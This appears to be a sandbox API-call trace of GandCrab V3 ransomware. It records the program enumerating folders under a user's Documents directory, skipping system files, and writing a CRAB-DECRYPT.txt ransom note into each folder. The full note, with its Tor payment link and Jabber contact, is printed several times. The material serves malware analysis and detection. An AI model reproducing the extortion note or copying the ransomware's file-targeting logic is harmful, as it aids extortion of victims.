	[0128.826] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0128.826] lstrcmpW (lpString1="My Music", lpString2=".") returned 1
	[0128.826] lstrcmpW (lpString1="My Music", lpString2="..") returned 1
	[0128.826] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music"
	[0128.826] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\"
	[0128.826] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.826] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0128.826] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0128.827] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0128.827] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0128.827] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.827] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ca10, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0128.827] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0128.827] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0128.827] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314c1f8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0128.827] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0128.827] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0128.827] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.827] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\\\CRAB-DECRYPT.txt") returned 58
	[0128.827] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my music\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0128.828] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0128.828] WriteFile (in: hFile=0x3e8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314c9f4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314c9f4*=0xcce, lpOverlapped=0x0) returned 1
	[0128.829] CloseHandle (hObject=0x3e8) returned 1
	[0128.829] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.830] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\") returned 41
	[0128.830] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*"
	[0128.830] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*", lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0xffffffff
	[0128.830] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0128.830] lstrcmpW (lpString1="My Pictures", lpString2=".") returned 1
	[0128.830] lstrcmpW (lpString1="My Pictures", lpString2="..") returned 1
	[0128.830] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures"
	[0128.830] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\"
	[0128.830] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.830] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0128.830] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0128.830] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0128.830] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0128.830] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.831] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ca10, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0128.831] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0128.831] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0128.831] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314c1f8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0128.831] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0128.831] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0128.831] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.831] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\\\CRAB-DECRYPT.txt") returned 61
	[0128.831] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my pictures\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0128.832] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0128.833] WriteFile (in: hFile=0x3e8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314c9f4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314c9f4*=0xcce, lpOverlapped=0x0) returned 1
	[0128.833] CloseHandle (hObject=0x3e8) returned 1
	[0128.833] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.834] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\") returned 44
	[0128.834] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*"
	[0128.834] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*", lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0xffffffff
	[0128.834] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0128.834] lstrcmpW (lpString1="My Shapes", lpString2=".") returned 1
	[0128.834] lstrcmpW (lpString1="My Shapes", lpString2="..") returned 1
	[0128.834] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Shapes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes"
	[0128.834] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\"
	[0128.834] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.834] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0128.834] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0128.834] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0128.834] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0128.835] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.835] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ca10, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0128.835] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0128.835] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0128.835] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314c1f8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0128.835] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0128.835] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0128.835] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.835] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\\\CRAB-DECRYPT.txt") returned 59
	[0128.835] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0128.847] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0128.847] WriteFile (in: hFile=0x3e8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314c9f4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314c9f4*=0xcce, lpOverlapped=0x0) returned 1
	[0128.848] CloseHandle (hObject=0x3e8) returned 1
	[0128.848] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.848] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned 42
	[0128.848] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*"
	[0128.849] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*", lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0x318deb8
	[0128.849] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0128.849] FindNextFileW (in: hFindFile=0x318deb8, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0128.849] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0128.849] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0128.849] FindNextFileW (in: hFindFile=0x318deb8, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0128.849] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0128.849] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0128.849] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\CRAB-DECRYPT.txt"
	[0128.849] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.849] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\CRAB-DECRYPT.txt") returned 58
	[0128.849] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\CRAB-DECRYPT.txt") returned 58
	[0128.849] lstrlenW (lpString=".txt") returned 4
	[0128.849] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.850] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0128.850] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.850] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\CRAB-DECRYPT.txt") returned 58
	[0128.850] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\CRAB-DECRYPT.txt") returned 58
	[0128.850] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0128.850] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0128.850] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0128.850] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0128.850] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0128.850] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0128.850] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0128.850] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0128.850] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0128.850] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.851] FindNextFileW (in: hFindFile=0x318deb8, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0128.851] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0128.851] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0128.851] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\desktop.ini"
	[0128.851] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.851] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\desktop.ini") returned 53
	[0128.851] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\desktop.ini") returned 53
	[0128.851] lstrlenW (lpString=".ini") returned 4
	[0128.851] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.851] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0128.852] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.852] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\desktop.ini") returned 53
	[0128.852] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\desktop.ini") returned 53
	[0128.852] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0128.852] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.852] FindNextFileW (in: hFindFile=0x318deb8, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0128.852] lstrcmpW (lpString1="Favorites.vssx", lpString2=".") returned 1
	[0128.852] lstrcmpW (lpString1="Favorites.vssx", lpString2="..") returned 1
	[0128.852] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\", lpString2="Favorites.vssx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx"
	[0128.852] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.853] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx") returned 56
	[0128.853] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx") returned 56
	[0128.853] lstrlenW (lpString=".vssx") returned 5
	[0128.853] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.853] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".vssx ") returned 6
	[0128.853] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.853] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.853] FindNextFileW (in: hFindFile=0x318deb8, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0128.854] lstrcmpW (lpString1="_private", lpString2=".") returned 1
	[0128.854] lstrcmpW (lpString1="_private", lpString2="..") returned 1
	[0128.854] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\", lpString2="_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private"
	[0128.854] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\"
	[0128.854] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.854] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0128.854] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0128.854] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0128.854] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0128.854] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.854] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314bf68, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0128.854] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0128.855] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0128.855] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b750, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0128.855] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0128.855] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0128.855] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.855] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\\\CRAB-DECRYPT.txt") returned 68
	[0128.855] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes\\_private\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
